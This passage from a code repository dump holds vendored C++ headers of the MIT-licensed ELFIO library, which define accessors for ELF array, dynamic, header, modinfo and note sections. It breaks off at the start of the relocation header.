1038 | std::vector segments_; 1039 | endianess_convertor convertor; 1040 | address_translator addr_translator; 1041 | 1042 | Elf_Xword current_file_pos; 1043 | }; 1044 | 1045 | } // namespace ELFIO 1046 | 1047 | #include 1048 | #include 1049 | #include 1050 | #include 1051 | #include 1052 | #include 1053 | #include 1054 | 1055 | #ifdef _MSC_VER 1056 | #pragma warning( pop ) 1057 | #endif 1058 | 1059 | #endif // ELFIO_HPP 1060 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_array.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELFIO_ARRAY_HPP 24 | #define ELFIO_ARRAY_HPP 25 | 26 | #include 27 | 28 | namespace ELFIO { 29 | 30 | //------------------------------------------------------------------------------ 31 | template class array_section_accessor_template 32 | { 33 | public: 34 | //------------------------------------------------------------------------------ 35 | array_section_accessor_template( const elfio& elf_file, S* section ) 36 | : elf_file( elf_file ), array_section( section ) 37 | { 38 | } 39 | 40 | //------------------------------------------------------------------------------ 41 | Elf_Xword get_entries_num() const 42 | { 43 | Elf_Xword entry_size = sizeof( T ); 44 | return array_section->get_size() / entry_size; 45 | } 46 | 47 | //------------------------------------------------------------------------------ 48 | bool get_entry( Elf_Xword index, Elf64_Addr& address ) const 49 | { 50 | if ( index >= get_entries_num() ) { // Is index valid 51 | return false; 52 | } 53 | 54 | const endianess_convertor& convertor = elf_file.get_convertor(); 55 | 56 | const T temp = *reinterpret_cast( array_section->get_data() + 57 | index * sizeof( T ) ); 58 | address = convertor( temp ); 59 | 60 | return true; 61 | } 62 | 63 | //------------------------------------------------------------------------------ 64 | void add_entry( Elf64_Addr address ) 65 | { 66 | const endianess_convertor& convertor = elf_file.get_convertor(); 67 | 68 | T temp = convertor( (T)address ); 69 | array_section->append_data( reinterpret_cast( &temp ), 70 | sizeof( temp ) ); 71 | } 72 | 73 | private: 74 | //------------------------------------------------------------------------------ 75 | const elfio& elf_file; 76 | S* array_section; 77 | }; 78 | 79 | template 80 | using array_section_accessor = array_section_accessor_template; 81 | template 82 | using const_array_section_accessor = 83 | array_section_accessor_template; 84 | 85 | } // namespace ELFIO 86 | 87 | #endif // ELFIO_ARRAY_HPP 88 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_dynamic.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELFIO_DYNAMIC_HPP 24 | #define ELFIO_DYNAMIC_HPP 25 | 26 | #include 27 | 28 | namespace ELFIO { 29 | 30 | //------------------------------------------------------------------------------ 31 | template class dynamic_section_accessor_template 32 | { 33 | public: 34 | //------------------------------------------------------------------------------ 35 | dynamic_section_accessor_template( const elfio& elf_file, S* section ) 36 | : elf_file( elf_file ), dynamic_section( section ), entries_num( 0 ) 37 | { 38 | } 39 | 40 | //------------------------------------------------------------------------------ 41 | Elf_Xword get_entries_num() const 42 | { 43 | if ( ( 0 == entries_num ) && 44 | ( 0 != dynamic_section->get_entry_size() ) ) { 45 | entries_num = 46 | dynamic_section->get_size() / dynamic_section->get_entry_size(); 47 | Elf_Xword i; 48 | Elf_Xword tag; 49 | Elf_Xword value; 50 | std::string str; 51 | for ( i = 0; i < entries_num; i++ ) { 52 | get_entry( i, tag, value, str ); 53 | if ( tag == DT_NULL ) 54 | break; 55 | } 56 | entries_num = std::min( entries_num, i + 1 ); 57 | } 58 | 59 | return entries_num; 60 | } 61 | 62 | //------------------------------------------------------------------------------ 63 | bool get_entry( Elf_Xword index, 64 | Elf_Xword& tag, 65 | Elf_Xword& value, 66 | std::string& str ) const 67 | { 68 | if ( index >= get_entries_num() ) { // Is index valid 69 | return false; 70 | } 71 | 72 | if ( elf_file.get_class() == ELFCLASS32 ) { 73 | generic_get_entry_dyn( index, tag, value ); 74 | } 75 | else { 76 | generic_get_entry_dyn( index, tag, value ); 77 | } 78 | 79 | // If the tag may have a string table reference, prepare the string 80 | if ( tag == DT_NEEDED || tag == DT_SONAME || tag == DT_RPATH || 81 | tag == DT_RUNPATH ) { 82 | string_section_accessor strsec( 83 | elf_file.sections[get_string_table_index()] ); 84 | const char* result = strsec.get_string( value ); 85 | if ( nullptr == result ) { 86 | str.clear(); 87 | return false; 88 | } 89 | str = result; 90 | } 91 | else { 92 | str.clear(); 93 | } 94 | 95 | return true; 96 | } 97 | 98 | //------------------------------------------------------------------------------ 99 | void add_entry( Elf_Xword tag, Elf_Xword value ) 100 | { 101 | if ( elf_file.get_class() == ELFCLASS32 ) { 102 | generic_add_entry_dyn( tag, value ); 103 | } 104 | else { 105 | generic_add_entry_dyn( tag, value ); 106 | } 107 | } 108 | 109 | //------------------------------------------------------------------------------ 110 | void add_entry( Elf_Xword tag, const std::string& str ) 111 | { 112 | string_section_accessor strsec( 113 | elf_file.sections[get_string_table_index()] ); 114 | Elf_Xword value = strsec.add_string( str ); 115 | add_entry( tag, value ); 116 | } 117 | 118 | //------------------------------------------------------------------------------ 119 | private: 120 | //------------------------------------------------------------------------------ 121 | Elf_Half get_string_table_index() const 122 | { 123 | return (Elf_Half)dynamic_section->get_link(); 124 | } 125 | 126 | //------------------------------------------------------------------------------ 127 | template 128 | void generic_get_entry_dyn( Elf_Xword index, 129 | Elf_Xword& tag, 130 | Elf_Xword& value ) const 131 | { 132 | const endianess_convertor& convertor = elf_file.get_convertor(); 133 | 134 | // Check unusual case when dynamic section has no data 135 | if ( dynamic_section->get_data() == nullptr || 136 | ( index + 1 ) * dynamic_section->get_entry_size() > 137 | dynamic_section->get_size() ) { 138 | tag = DT_NULL; 139 | value = 0; 140 | return; 141 | } 142 | 143 | const T* pEntry = reinterpret_cast( 144 | dynamic_section->get_data() + 145 | index * dynamic_section->get_entry_size() ); 146 | tag = convertor( pEntry->d_tag ); 147 | switch ( tag ) { 148 | case DT_NULL: 149 | case DT_SYMBOLIC: 150 | case DT_TEXTREL: 151 | case DT_BIND_NOW: 152 | value = 0; 153 | break; 154 | case DT_NEEDED: 155 | case DT_PLTRELSZ: 156 | case DT_RELASZ: 157 | case DT_RELAENT: 158 | case DT_STRSZ: 159 | case DT_SYMENT: 160 | case DT_SONAME: 161 | case DT_RPATH: 162 | case DT_RELSZ: 163 | case DT_RELENT: 164 | case DT_PLTREL: 165 | case DT_INIT_ARRAYSZ: 166 | case DT_FINI_ARRAYSZ: 167 | case DT_RUNPATH: 168 | case DT_FLAGS: 169 | case DT_PREINIT_ARRAYSZ: 170 | value = convertor( pEntry->d_un.d_val ); 171 | break; 172 | case DT_PLTGOT: 173 | case DT_HASH: 174 | case DT_STRTAB: 175 | case DT_SYMTAB: 176 | case DT_RELA: 177 | case DT_INIT: 178 | case DT_FINI: 179 | case DT_REL: 180 | case DT_DEBUG: 181 | case DT_JMPREL: 182 | case DT_INIT_ARRAY: 183 | case DT_FINI_ARRAY: 184 | case DT_PREINIT_ARRAY: 185 | default: 186 | value = convertor( pEntry->d_un.d_ptr ); 187 | break; 188 | } 189 | } 190 | 191 | //------------------------------------------------------------------------------ 192 | template 193 | void generic_add_entry_dyn( Elf_Xword tag, Elf_Xword value ) 194 | { 195 | const endianess_convertor& convertor = elf_file.get_convertor(); 196 | 197 | T entry; 198 | 199 | switch ( tag ) { 200 | case DT_NULL: 201 | case DT_SYMBOLIC: 202 | case DT_TEXTREL: 203 | case DT_BIND_NOW: 204 | entry.d_un.d_val = convertor( 0 ); 205 | break; 206 | case DT_NEEDED: 207 | case DT_PLTRELSZ: 208 | case DT_RELASZ: 209 | case DT_RELAENT: 210 | case DT_STRSZ: 211 | case DT_SYMENT: 212 | case DT_SONAME: 213 | case DT_RPATH: 214 | case DT_RELSZ: 215 | case DT_RELENT: 216 | case DT_PLTREL: 217 | case DT_INIT_ARRAYSZ: 218 | case DT_FINI_ARRAYSZ: 219 | case DT_RUNPATH: 220 | case DT_FLAGS: 221 | case DT_PREINIT_ARRAYSZ: 222 | entry.d_un.d_val = convertor( value ); 223 | break; 224 | case DT_PLTGOT: 225 | case DT_HASH: 226 | case DT_STRTAB: 227 | case DT_SYMTAB: 228 | case DT_RELA: 229 | case DT_INIT: 230 | case DT_FINI: 231 | case DT_REL: 232 | case DT_DEBUG: 233 | case DT_JMPREL: 234 | case DT_INIT_ARRAY: 235 | case DT_FINI_ARRAY: 236 | case DT_PREINIT_ARRAY: 237 | default: 238 | entry.d_un.d_ptr = convertor( value ); 239 | break; 240 | } 241 | 242 | entry.d_tag = convertor( tag ); 243 | 244 | dynamic_section->append_data( reinterpret_cast( &entry ), 245 | sizeof( entry ) ); 246 | } 247 | 248 | //------------------------------------------------------------------------------ 249 | private: 250 | const elfio& elf_file; 251 | S* dynamic_section; 252 | mutable Elf_Xword entries_num; 253 | }; 254 | 255 | using dynamic_section_accessor = dynamic_section_accessor_template
; 256 | using const_dynamic_section_accessor = 257 | dynamic_section_accessor_template; 258 | 259 | } // namespace ELFIO 260 | 261 | #endif // ELFIO_DYNAMIC_HPP 262 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_header.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELF_HEADER_HPP 24 | #define ELF_HEADER_HPP 25 | 26 | #include 27 | 28 | namespace ELFIO { 29 | 30 | class elf_header 31 | { 32 | public: 33 | virtual ~elf_header() = default; 34 | 35 | virtual bool load( std::istream& stream ) = 0; 36 | virtual bool save( std::ostream& stream ) const = 0; 37 | 38 | // ELF header functions 39 | ELFIO_GET_ACCESS_DECL( unsigned char, class ); 40 | ELFIO_GET_ACCESS_DECL( unsigned char, elf_version ); 41 | ELFIO_GET_ACCESS_DECL( unsigned char, encoding ); 42 | ELFIO_GET_ACCESS_DECL( Elf_Half, header_size ); 43 | ELFIO_GET_ACCESS_DECL( Elf_Half, section_entry_size ); 44 | ELFIO_GET_ACCESS_DECL( Elf_Half, segment_entry_size ); 45 | 46 | ELFIO_GET_SET_ACCESS_DECL( Elf_Word, version ); 47 | ELFIO_GET_SET_ACCESS_DECL( unsigned char, os_abi ); 48 | ELFIO_GET_SET_ACCESS_DECL( unsigned char, abi_version ); 49 | ELFIO_GET_SET_ACCESS_DECL( Elf_Half, type ); 50 | ELFIO_GET_SET_ACCESS_DECL( Elf_Half, machine ); 51 | ELFIO_GET_SET_ACCESS_DECL( Elf_Word, flags ); 52 | ELFIO_GET_SET_ACCESS_DECL( Elf64_Addr, entry ); 53 | ELFIO_GET_SET_ACCESS_DECL( Elf_Half, sections_num ); 54 | ELFIO_GET_SET_ACCESS_DECL( Elf64_Off, sections_offset ); 55 | ELFIO_GET_SET_ACCESS_DECL( Elf_Half, segments_num ); 56 | ELFIO_GET_SET_ACCESS_DECL( Elf64_Off, segments_offset ); 57 | ELFIO_GET_SET_ACCESS_DECL( Elf_Half, section_name_str_index ); 58 | }; 59 | 60 | template struct elf_header_impl_types; 61 | template <> struct elf_header_impl_types 62 | { 63 | using Phdr_type = Elf32_Phdr; 64 | using Shdr_type = Elf32_Shdr; 65 | static const unsigned char file_class = ELFCLASS32; 66 | }; 67 | template <> struct elf_header_impl_types 68 | { 69 | using Phdr_type = Elf64_Phdr; 70 | using Shdr_type = Elf64_Shdr; 71 | static const unsigned char file_class = ELFCLASS64; 72 | }; 73 | 74 | template class elf_header_impl : public elf_header 75 | { 76 | public: 77 | //------------------------------------------------------------------------------ 78 | elf_header_impl( endianess_convertor* convertor, 79 | unsigned char encoding, 80 | const address_translator* translator ) 81 | { 82 | this->convertor = convertor; 83 | this->translator = translator; 84 | 85 | std::fill_n( reinterpret_cast( &header ), sizeof( header ), 86 | '\0' ); 87 | 88 | header.e_ident[EI_MAG0] = ELFMAG0; 89 | header.e_ident[EI_MAG1] = ELFMAG1; 90 | header.e_ident[EI_MAG2] = ELFMAG2; 91 | header.e_ident[EI_MAG3] = ELFMAG3; 92 | header.e_ident[EI_CLASS] = elf_header_impl_types::file_class; 93 | header.e_ident[EI_DATA] = encoding; 94 | header.e_ident[EI_VERSION] = EV_CURRENT; 95 | header.e_version = ( *convertor )( (Elf_Word)EV_CURRENT ); 96 | header.e_ehsize = ( sizeof( header ) ); 97 | header.e_ehsize = ( *convertor )( header.e_ehsize ); 98 | header.e_shstrndx = ( *convertor )( (Elf_Half)1 ); 99 | header.e_phentsize = 100 | sizeof( typename elf_header_impl_types::Phdr_type ); 101 | header.e_shentsize = 102 | sizeof( typename elf_header_impl_types::Shdr_type ); 103 | header.e_phentsize = ( *convertor )( header.e_phentsize ); 104 | header.e_shentsize = ( *convertor )( header.e_shentsize ); 105 | } 106 | 107 | //------------------------------------------------------------------------------ 108 | bool load( std::istream& stream ) override 109 | { 110 | stream.seekg( ( *translator )[0] ); 111 | stream.read( reinterpret_cast( &header ), sizeof( header ) ); 112 | 113 | return ( stream.gcount() == sizeof( header ) ); 114 | } 115 | 116 | //------------------------------------------------------------------------------ 117 | bool save( std::ostream& stream ) const override 118 | { 119 | stream.seekp( ( *translator )[0] ); 120 | stream.write( reinterpret_cast( &header ), 121 | sizeof( header ) ); 122 | 123 | return stream.good(); 124 | } 125 | 126 | //------------------------------------------------------------------------------ 127 | // ELF header functions 128 | ELFIO_GET_ACCESS( unsigned char, class, header.e_ident[EI_CLASS] ); 129 | ELFIO_GET_ACCESS( unsigned char, elf_version, header.e_ident[EI_VERSION] ); 130 | ELFIO_GET_ACCESS( unsigned char, encoding, header.e_ident[EI_DATA] ); 131 | ELFIO_GET_ACCESS( Elf_Half, header_size, header.e_ehsize ); 132 | ELFIO_GET_ACCESS( Elf_Half, section_entry_size, header.e_shentsize ); 133 | ELFIO_GET_ACCESS( Elf_Half, segment_entry_size, header.e_phentsize ); 134 | 135 | ELFIO_GET_SET_ACCESS( Elf_Word, version, header.e_version ); 136 | ELFIO_GET_SET_ACCESS( unsigned char, os_abi, header.e_ident[EI_OSABI] ); 137 | ELFIO_GET_SET_ACCESS( unsigned char, 138 | abi_version, 139 | header.e_ident[EI_ABIVERSION] ); 140 | ELFIO_GET_SET_ACCESS( Elf_Half, type, header.e_type ); 141 | ELFIO_GET_SET_ACCESS( Elf_Half, machine, header.e_machine ); 142 | ELFIO_GET_SET_ACCESS( Elf_Word, flags, header.e_flags ); 143 | ELFIO_GET_SET_ACCESS( Elf_Half, section_name_str_index, header.e_shstrndx ); 144 | ELFIO_GET_SET_ACCESS( Elf64_Addr, entry, header.e_entry ); 145 | ELFIO_GET_SET_ACCESS( Elf_Half, sections_num, header.e_shnum ); 146 | ELFIO_GET_SET_ACCESS( Elf64_Off, sections_offset, header.e_shoff ); 147 | ELFIO_GET_SET_ACCESS( Elf_Half, segments_num, header.e_phnum ); 148 | ELFIO_GET_SET_ACCESS( Elf64_Off, segments_offset, header.e_phoff ); 149 | 150 | private: 151 | T header; 152 | endianess_convertor* convertor; 153 | const address_translator* translator; 154 | }; 155 | 156 | } // namespace ELFIO 157 | 158 | #endif // ELF_HEADER_HPP 159 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_modinfo.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELFIO_MODINFO_HPP 24 | #define ELFIO_MODINFO_HPP 25 | 26 | #include 27 | #include 28 | 29 | namespace ELFIO { 30 | 31 | //------------------------------------------------------------------------------ 32 | template class modinfo_section_accessor_template 33 | { 34 | public: 35 | //------------------------------------------------------------------------------ 36 | modinfo_section_accessor_template( S* section ) : modinfo_section( section ) 37 | { 38 | process_section(); 39 | } 40 | 41 | //------------------------------------------------------------------------------ 42 | Elf_Word get_attribute_num() const { return (Elf_Word)content.size(); } 43 | 44 | //------------------------------------------------------------------------------ 45 | bool 46 | get_attribute( Elf_Word no, std::string& field, std::string& value ) const 47 | { 48 | if ( no < content.size() ) { 49 | field = content[no].first; 50 | value = content[no].second; 51 | return true; 52 | } 53 | 54 | return false; 55 | } 56 | 57 | //------------------------------------------------------------------------------ 58 | bool get_attribute( const std::string field_name, std::string& value ) const 59 | { 60 | for ( auto i : content ) { 61 | if ( field_name == i.first ) { 62 | value = i.second; 63 | return true; 64 | } 65 | } 66 | 67 | return false; 68 | } 69 | 70 | //------------------------------------------------------------------------------ 71 | Elf_Word add_attribute( const std::string field, const std::string value ) 72 | { 73 | Elf_Word current_position = 0; 74 | 75 | if ( modinfo_section ) { 76 | // Strings are addeded to the end of the current section data 77 | current_position = (Elf_Word)modinfo_section->get_size(); 78 | 79 | std::string attribute = field + "=" + value; 80 | 81 | modinfo_section->append_data( attribute + '\0' ); 82 | content.emplace_back( field, value ); 83 | } 84 | 85 | return current_position; 86 | } 87 | 88 | //------------------------------------------------------------------------------ 89 | private: 90 | void process_section() 91 | { 92 | const char* pdata = modinfo_section->get_data(); 93 | if ( pdata ) { 94 | ELFIO::Elf_Xword i = 0; 95 | while ( i < modinfo_section->get_size() ) { 96 | while ( i < modinfo_section->get_size() && !pdata[i] ) 97 | i++; 98 | if ( i < modinfo_section->get_size() ) { 99 | std::string info = pdata + i; 100 | size_t loc = info.find( '=' ); 101 | content.emplace_back( info.substr( 0, loc ), 102 | info.substr( loc + 1 ) ); 103 | 104 | i += info.length(); 105 | } 106 | } 107 | } 108 | } 109 | 110 | //------------------------------------------------------------------------------ 111 | private: 112 | S* modinfo_section; 113 | std::vector> content; 114 | }; 115 | 116 | using modinfo_section_accessor = modinfo_section_accessor_template
; 117 | using const_modinfo_section_accessor = 118 | modinfo_section_accessor_template; 119 | 120 | } // namespace ELFIO 121 | 122 | #endif // ELFIO_MODINFO_HPP 123 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_note.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELFIO_NOTE_HPP 24 | #define ELFIO_NOTE_HPP 25 | 26 | namespace ELFIO { 27 | 28 | //------------------------------------------------------------------------------ 29 | // There are discrepancies in documentations. SCO documentation 30 | // (http://www.sco.com/developers/gabi/latest/ch5.pheader.html#note_section) 31 | // requires 8 byte entries alignment for 64-bit ELF file, 32 | // but Oracle's definition uses the same structure 33 | // for 32-bit and 64-bit formats. 34 | // (https://docs.oracle.com/cd/E23824_01/html/819-0690/chapter6-18048.html) 35 | // 36 | // It looks like EM_X86_64 Linux implementation is similar to Oracle's 37 | // definition. Therefore, the same alignment works for both formats 38 | //------------------------------------------------------------------------------ 39 | 40 | //------------------------------------------------------------------------------ 41 | template class note_section_accessor_template 42 | { 43 | public: 44 | //------------------------------------------------------------------------------ 45 | note_section_accessor_template( const elfio& elf_file, S* section ) 46 | : elf_file( elf_file ), note_section( section ) 47 | { 48 | process_section(); 49 | } 50 | 51 | //------------------------------------------------------------------------------ 52 | Elf_Word get_notes_num() const 53 | { 54 | return (Elf_Word)note_start_positions.size(); 55 | } 56 | 57 | //------------------------------------------------------------------------------ 58 | bool get_note( Elf_Word index, 59 | Elf_Word& type, 60 | std::string& name, 61 | void*& desc, 62 | Elf_Word& descSize ) const 63 | { 64 | if ( index >= note_section->get_size() ) { 65 | return false; 66 | } 67 | 68 | const char* pData = 69 | note_section->get_data() + note_start_positions[index]; 70 | int align = sizeof( Elf_Word ); 71 | 72 | const endianess_convertor& convertor = elf_file.get_convertor(); 73 | type = convertor( *(const Elf_Word*)( pData + 2 * (size_t)align ) ); 74 | Elf_Word namesz = convertor( *(const Elf_Word*)( pData ) ); 75 | descSize = convertor( *(const Elf_Word*)( pData + sizeof( namesz ) ) ); 76 | 77 | Elf_Xword max_name_size = 78 | note_section->get_size() - note_start_positions[index]; 79 | if ( namesz < 1 || namesz > max_name_size || 80 | (Elf_Xword)namesz + descSize > max_name_size ) { 81 | return false; 82 | } 83 | name.assign( pData + 3 * (size_t)align, namesz - 1 ); 84 | if ( 0 == descSize ) { 85 | desc = nullptr; 86 | } 87 | else { 88 | desc = const_cast( pData + 3 * (size_t)align + 89 | ( ( namesz + align - 1 ) / align ) * 90 | (size_t)align ); 91 | } 92 | 93 | return true; 94 | } 95 | 96 | //------------------------------------------------------------------------------ 97 | void add_note( Elf_Word type, 98 | const std::string& name, 99 | const void* desc, 100 | Elf_Word descSize ) 101 | { 102 | const endianess_convertor& convertor = elf_file.get_convertor(); 103 | 104 | int align = sizeof( Elf_Word ); 105 | Elf_Word nameLen = (Elf_Word)name.size() + 1; 106 | Elf_Word nameLenConv = convertor( nameLen ); 107 | std::string buffer( reinterpret_cast( &nameLenConv ), align ); 108 | Elf_Word descSizeConv = convertor( descSize ); 109 | 110 | buffer.append( reinterpret_cast( &descSizeConv ), align ); 111 | type = convertor( type ); 112 | buffer.append( reinterpret_cast( &type ), align ); 113 | buffer.append( name ); 114 | buffer.append( 1, '\x00' ); 115 | const char pad[] = { '\0', '\0', '\0', '\0' }; 116 | if ( nameLen % align != 0 ) { 117 | buffer.append( pad, (size_t)align - nameLen % align ); 118 | } 119 | if ( desc != nullptr && descSize != 0 ) { 120 | buffer.append( reinterpret_cast( desc ), descSize ); 121 | if ( descSize % align != 0 ) { 122 | buffer.append( pad, (size_t)align - descSize % align ); 123 | } 124 | } 125 | 126 | note_start_positions.emplace_back( note_section->get_size() ); 127 | note_section->append_data( buffer ); 128 | } 129 | 130 | private: 131 | //------------------------------------------------------------------------------ 132 | void process_section() 133 | { 134 | const endianess_convertor& convertor = elf_file.get_convertor(); 135 | const char* data = note_section->get_data(); 136 | Elf_Xword size = note_section->get_size(); 137 | Elf_Xword current = 0; 138 | 139 | note_start_positions.clear(); 140 | 141 | // Is it empty? 142 | if ( nullptr == data || 0 == size ) { 143 | return; 144 | } 145 | 146 | Elf_Word align = sizeof( Elf_Word ); 147 | while ( current + (Elf_Xword)3 * align <= size ) { 148 | note_start_positions.emplace_back( current ); 149 | Elf_Word namesz = convertor( *(const Elf_Word*)( data + current ) ); 150 | Elf_Word descsz = convertor( 151 | *(const Elf_Word*)( data + current + sizeof( namesz ) ) ); 152 | 153 | current += (Elf_Xword)3 * sizeof( Elf_Word ) + 154 | ( ( namesz + align - 1 ) / align ) * (Elf_Xword)align + 155 | ( ( descsz + align - 1 ) / align ) * (Elf_Xword)align; 156 | } 157 | } 158 | 159 | //------------------------------------------------------------------------------ 160 | private: 161 | const elfio& elf_file; 162 | S* note_section; 163 | std::vector note_start_positions; 164 | }; 165 | 166 | using note_section_accessor = note_section_accessor_template
; 167 | using const_note_section_accessor = 168 | note_section_accessor_template; 169 | 170 | } // namespace ELFIO 171 | 172 | #endif // ELFIO_NOTE_HPP 173 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_relocation.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELFIO_RELOCATION_HPP 24 | #define ELFIO_RELOCATION_HPP 25 | 26 | namespace ELFIO { 27 | 28 | template struct get_sym_and_type; 29 | template <> struct get_sym_and_type 30 | { 31 | static int get_r_sym( Elf_Xword info ) 32 | { 33 | return ELF32_R_SYM( (Elf_Word)info ); 34 | } 35 | static int get_r_type( Elf_Xword info ) 36 | { 37 | return ELF32_R_TYPE( (Elf_Word)info ); 38 | } 39 | }; 40 | template <> struct 